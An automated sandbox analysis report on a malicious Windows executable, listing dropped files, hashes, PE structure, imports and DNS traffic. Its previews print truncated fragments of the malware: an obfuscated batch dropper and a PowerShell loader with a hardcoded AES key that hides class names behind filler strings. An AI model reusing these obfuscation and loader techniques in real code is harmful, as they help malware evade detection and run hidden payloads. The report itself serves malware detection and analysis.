Preview:	MDMP..a..... ........`.g........................h&..........\3..p1......................`.......8...........T............Z..`............d...........f..............................................................................eJ......Pg......Lw......................T............`.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB12E.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8766
Entropy (8bit):	3.69397161896257
Encrypted:	false
SSDEEP:	192:R6l7wVeJv+jt6YRDShgmfZa72pWE+89bnjnrfppNm:R6lXJGJ6Y1ShgmfQ7gnjrfpK
MD5:	1E308375DD2055C9E8698DF3F4AD3B9B
SHA1:	75D4BD0AF8CFB93E253DC91CE56B92B0875A6310
SHA-256:	8FBFC72B648A334BEA20117B1F179165B68154ADD818BA3EB8CDE12AC6AD16B1
SHA-512:	317DA11F0BDF5C7A7338BFED46A2AC90AE2DB96B83E91D4E922AC11DE36410919BFF220C9AE37C2EF164C646D0FEDBBB9E9269884B3260321DD4116E26A4ED19
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.3.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB17D.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4777
Entropy (8bit):	4.44038908323831
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVJg771I9hjHyWpW8VYTYm8M4JQ91FKyq8vlpytf3d:uIjfvI7CH7VXJQAWLuf3d
MD5:	9B3CCF41CC43AE59F126D6434B924BD5
SHA1:	C107A450CC6F6F6965EE3CB31838A5324711D56F
SHA-256:	C3928A0EA3F708941C0B5A049860B1D58C11FCD6D90354ABF0E05455EC2FD891
SHA-512:	0FDA21B712D220386227DB4AAB461B13A778A7DA9F63595D44889858BF1F1364309EC34B4A2AEF5A337695AAC0361A31738C95049780BC09EF6FC1FFEE8D6DFC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533611" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9713
Entropy (8bit):	4.940954773740904
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smu9:9rib4ZIkjh4iUxsNYW6Ypib47
MD5:	BA7C69EBE30EC7DA697D2772E36A746D
SHA1:	DA93AC7ADC6DE8CFFED4178E1F98F0D0590EA359
SHA-256:	CFCE399DF5BE3266219AA12FB6890C6EEFDA46D6279A0DD90E82A970149C5639
SHA-512:	E0AFE4DF389A060EFDACF5E78BA6419CECDFC674AA5F201C458D517C20CB50B70CD8A4EB23B18C0645BDC7E9F326CCC668E8BADE803DED41FCDA2AE1650B31E8
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2824
Entropy (8bit):	5.4156429020514745
Encrypted:	false
SSDEEP:	48:KizsSU4y4RQmFoUL5a+m9qr9t5/78NdgxJZKaVEouYAgwd64rHLjtvz:KizlHyIFKEg9qrh7KYJ5Eo9Adrxz
MD5:	A1FE3978A33AC854ACEE2B97BBF646BC
SHA1:	DD8B8BE6A95FA84A99D26FA9434A2B95D8994D0B
SHA-256:	A1F8CF3444E28114ED9E0B74D10FC8CEB4E2BFC679A9E25781938F7B1278C698
SHA-512:	F90E27917E57169F2B21F45606F237B98EC418111004457D26B61AB5F08A410E5D235607C852B31FA4C11C0D832FDE3A920183E7C534506DC20C96387BA55AF3
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..+.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.<...............i..VdqF...\|...........System.Configuration4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat

Process:	C:\Users\user\Desktop\XgKnAQpuPM.exe
File Type:	DOS batch file, ASCII text, with very long lines (5451), with CRLF line terminators
Category:	dropped
Size (bytes):	5120251
Entropy (8bit):	6.031755508710794
Encrypted:	false
SSDEEP:	49152:OH8Afj+WOC91s9ol40FVOy9TAJ2/mGRjOQQZxViXKmxf6B7QsD:d
MD5:	48091A17649D5BE43A163572BF795E92
SHA1:	2106B9B38666363ED69168497514401BBC81736B
SHA-256:	31BB62F0E9E7513EF0B83AA8BD21BDA89E654A768C8EEC896A075BE4217C9541
SHA-512:	7EC98B3AFC1E27095E8430BFBACFA355A83A89DB920DA95BE5D509115F2096D2A9C5FB148BCA603F58362D0820E1536445E962FFB76365FE54E966D0586D851B
Malicious:	true
Preview:	@echo off..%^%@%TseMjTlumHyGzrvFzgHkoUqYjWINsRaoSduNkGicRDLmMrgqxboiCMvYcfDmkycvGkOvWIuTYEsKjemRQsprCRMgIwKfcVRtBqFCDLuPGukXtKPYTMwSiKSOyINAXpQdNZjSyKoeYAKhHOMXGMlqyZkQxQdVYURrEhktBWzjxsUIaKhJVPTlezENPs%%^%e%IGtgeItDAEtwJmcTgfCQMJtZjaGmeCwDiBRCdmQZGhGfBsjYcGyImCIZmtWdcgzYhPohvzPUpCjFcoyQQIkxdOqFTSpJpMXzIIXMdcDCQEsKscWYVgntVbUtyJoDjgFCFKXurMNOfHHzvGnQVrNizDDHNEnuOZtKZ%%^%c%eIfCGjsyontvXRwxHRswdbgpGNytafoWzFCELtKEQaopnsGvYqsBsDMcCPVTLZyjZxVspRMnhNFdNQcogcuJMNEVTzcVyRTQBfqQwoghEeuEXJpMMHNIEPwlSZzPOQPqUOBHzmRSVneItaYjkqiQekmMIfXwOrsOodJjhImAPUMrKORRbpEyIYmKCOYtoveEVqtpr%%^%h%cCdIbjyVcUoguzMUgqRZGtJTltQivtuBAmncuZXclHMdfiaERbkdxriISkxHtqzIAMGhlKzgsPNZGFNctlqujrdieEjkCpIVidDsCTshBeKIEicnwuoiZeyiIxcHApEdhRRCbvAASjSfGvEVCWNhbAWdEuKeQLGmAHBMrzlbTOpQltCnThfEBwcGVNYHKwJhCGF%%^%o%UREdLMnmlgRlSxlJFbKdFUQEBEqxehnFODsbDcTPiPvPVMOnlaBBVBtZbZBhvQidSmwpejgDiVVQzbIOPcmdFMJnjsaDALtsGrWJpzjbUYsZFDAZrNrsDexgCjfMjCdwBDjheZyqTljHtKHGRamMubOCUPgguwSrVVxcttUrpbysVQNSCyUiqqcAOHmoSsWwsRLxmFmyfUxsCwGdcoEVC%%^% %bF

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uljnmqgm.t34.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yeoev2sh.3ro.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.373043305953581
Encrypted:	false
SSDEEP:	6144:4FVfpi6ceLP/9skLmb08yWWSPtaJG8nAge35OlMMhA2AX4WABlguNliL:AV1qyWWI/glMM6kF7Pq
MD5:	5DAB9691BE7C220324D5551D8BFBCD4B
SHA1:	350A242B6709F15D703ECD6A26F5F6F93DEEDC88
SHA-256:	A54D9354AB7CD2A0F58332D960EF4B5E9D573883044ABED9C8C0CE849855D33E
SHA-512:	3330667C4D923E0FD5EF7C779E05B154A0717206252C3A2283AA43FD419DFA7E28948E22C1BC53052CD53561CA242A2DF24D539D93C2CC548BC7AFACF89CF061
Malicious:	false
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm^xXV.................................................................................................................................................................................................................................................................................................................................................;Ob........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\Null

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (2734), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.418461420911021
Encrypted:	false
SSDEEP:	96:PFHDRfj+87GBzBCxI4kB595f8bymr3DP3lQEifiOj8l2:PvalMI4kB595fi3DPDifiOb
MD5:	B7D335FB15C206BB25296DAC175C70B5
SHA1:	A36747AF15236F95C768C42327CC5DCAD9982EFD
SHA-256:	767A7C28A499E2029D76314C77D1B744D544F27E1B9D682A9673B8A3DDF7F017
SHA-512:	C22DA90301859AE3F057CCA1E7D31946F43C65BC741AA7A77E4233946F0178DC60CD8B112425AF8B3C72877336B7826174A76CBC0C8E0B2E760CDCA338943085
Malicious:	false
Preview:	Windows PowerShell..Copyright (C) Microsoft Corporation. All rights reserved.....Try the new cross-platform PowerShell https://aka.ms/pscore6....PS C:\Users\user\AppData\Local\Temp\IXP000.TMP> function FpxON($kXGHT){.$MjRuR=[System.Security.Cryptography.Aes]::Create();.$MjRuR.Mode=[System.Security.Cryptography.CipherMode]::CBC;.$MjRuR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;.$MjRuR.Key=[System.Convert]::FromBase64String('j3+l8MVXgSNKBboFFtDIY9ifLLQEhU8Shlqb9W611kU=');.$MjRuR.IV=[System.Convert]::FromBase64String('C7Dlt1nshFAIyjxeP0iXIQ==');.$WVvmF=$MjRuR.CreateDecryptor();.$CVTyC=$WVvmF.TransformFinalBlock($kXGHT, 0, $kXGHT.Length);.$WVvmF.Dispose();.$MjRuR.Dispose();.$CVTyC;}function ogptr($kXGHT){.Invoke-Expression '$bJDne=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$kXGHT);'.Replace('blck', '');.Invoke-Expression '$eTtPQ=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.Mblckeblckmblcko

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.979186304025851
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	XgKnAQpuPM.exe
File size:	3'571'712 bytes
MD5:	52c1acdcbb715dd099648b26b98254e8
SHA1:	e3cd07adc9d8fe7c2fbb07730845af6555af2e66
SHA256:	8dc774bd289aeb18dee994fea6e69039d9c6e77a1b90a0d9db004109735ef3f9
SHA512:	cb1890dc136ae86c6ae8110fa026eb23b77b580345c8e7f47cf7233f888e5d729dfad8519c4c8c330eb2d4ed6a7209739d46fb19853e0d6ea13d595b43a3d24a
SSDEEP:	98304:5M9/CPPgsG6SHkwvbyQsJFV5Z1QvI69gA5PlVkhh9:5MhOPy6SHxy1VbrKgAXy
TLSH:	6AF5334957F660D2E0AE1331C99745C74E32B9620F39489B43E948BF2B733C4A171FAA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Kr..%!..%!..%!&. ..%!&.& ..%!&.! ..%!&.$ ..%!..$!b.%!&.- ..%!&..!..%!&.' ..%!Rich..%!................PE..d....y............"

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x140008460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0xE28C79B4 [Sun Jun 11 09:36:52 2090 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F6C0CFE1AC0h
dec eax
add esp, 28h
jmp 00007F6C0CFE133Bh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [00000F8Dh]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [000046C2h], ebx
je 00007F6C0CFE133Ch
dec eax
cmp eax, ebx
jne 00007F6C0CFE134Fh
mov edi, 00000001h
mov eax, dword ptr [000046B8h]
cmp eax, 01h
jne 00007F6C0CFE134Ch
lea ecx, dword ptr [eax+1Eh]
call 00007F6C0CFE1953h
jmp 00007F6C0CFE13B9h
mov ecx, 000003E8h
call dword ptr [00000F3Bh]
jmp 00007F6C0CFE12F6h
mov eax, dword ptr [00004693h]
test eax, eax
jne 00007F6C0CFE1395h
mov dword ptr [00004685h], 00000001h
dec esp
lea esi, dword ptr [000011BEh]
dec eax
lea ebx, dword ptr [0000119Fh]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007F6C0CFE1361h
test eax, eax
jne 00007F6C0CFE1361h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007F6C0CFE134Ch
dec ecx
mov edx, 5E523070h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa2b4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x358bcc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x42c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x368000	0x2c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a68	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9148	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7e40	0x8000	d22d8a48c14d2185814d2ed24fb0aed1	False	0.546173095703125	data	6.092855112591348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2340	0x3000	3748ff8966297360bdba725e2d585c23	False	0.318359375	data	3.84344715350442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1f00	0x1000	f198899505f620007167379f74f8141c	False	0.083251953125	data	1.0384025678015962	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x42c	0x1000	2d9ecb32a70228f2b07b654e216a79ee	False	0.156005859375	data	1.4378876073270839	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x359000	0x359000	bf7df857719ee06de74c7dc0e33f055c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x368000	0x2c	0x1000	cf22972a59e8c2a2ad0453d649f2025d	False	0.017578125	data	0.10781936458684958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xf9f8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x12814	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x12e7c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x13164	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1334c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x13474	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x1431c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x14bc4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x1528c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x157f4	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x231c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x25770	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x26818	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x271a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_DIALOG	0x27608	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x278fc	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x27aac	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x27c14	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x27dd4	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x27f04	0x120	data	English	United States	0.5763888888888888
RT_STRING	0x28024	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x280b0	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x285d0	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x28b9c	0x4b0	data	English	United States	0.385
RT_STRING	0x2904c	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x29498	0x3ce	data	English	United States	0.36858316221765913
RT_RCDATA	0x29868	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x29870	0x33d638	Microsoft Cabinet archive data, Windows 2000/XP setup, 3397176 bytes, 1 file, at 0x2c +A "vclib.bat", ID 885, number 1, 157 datablocks, 0x1503 compression	English	United States	0.9999542236328125
RT_RCDATA	0x366ea8	0x4	data	English	United States	3.0
RT_RCDATA	0x366eac	0x24	data	English	United States	0.8611111111111112
RT_RCDATA	0x366ed0	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x366ed8	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x366ee0	0x4	data	English	United States	3.0
RT_RCDATA	0x366ee4	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x366eec	0x4	data	English	United States	3.0
RT_RCDATA	0x366ef0	0x13	ASCII text, with no line terminators	English	United States	1.4210526315789473
RT_RCDATA	0x366f04	0x4	data	English	United States	3.0
RT_RCDATA	0x366f08	0x6	data	English	United States	2.3333333333333335
RT_RCDATA	0x366f10	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x366f18	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x366f20	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x366fdc	0x408	data	English	United States	0.42248062015503873
RT_MANIFEST	0x3673e4	0x7e6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.37734915924826906

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, LoadLibraryExA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, WaitForSingleObject, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, ExpandEnvironmentStringsA, LocalAlloc, lstrcmpA, FindNextFileA, GetCurrentProcess, FindFirstFileA, GetModuleFileNameA, GetShortPathNameA, Sleep, GetStartupInfoW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, GetTickCount, EnumResourceLanguagesA, GetDiskFreeSpaceA, MulDiv, FindClose
GDI32.dll	GetDeviceCaps
USER32.dll	ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetSystemMetrics, CallWindowProcA, SetWindowTextA, MessageBoxA, SendDlgItemMessageA, SendMessageA, GetDlgItem, DialogBoxIndirectParamA, GetWindowLongPtrA, SetWindowLongPtrA, SetForegroundWindow, ReleaseDC, EnableWindow, CharNextA, LoadStringA, CharPrevA, EndDialog, MessageBeep, ExitWindowsEx, SetDlgItemTextA, CharUpperA, GetDesktopWindow, PeekMessageA, GetDlgItemTextA
msvcrt.dll	?terminate@@YAXXZ, _commode, _fmode, _acmdln, __C_specific_handler, memset, __setusermatherr, _ismbblead, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, _XcptFilter, memcpy_s, _vsnprintf, _initterm, memcpy
COMCTL32.dll
Cabinet.dll
VERSION.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 00:29:33.295130014 CEST	53	55731	162.159.36.2	192.168.2.8
Oct 8, 2024 00:29:33.764405966 CEST	60256	53	192.168.2.8	1.1.1.1
Oct 8, 2024 00:29:33.772066116 CEST	53	60256	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
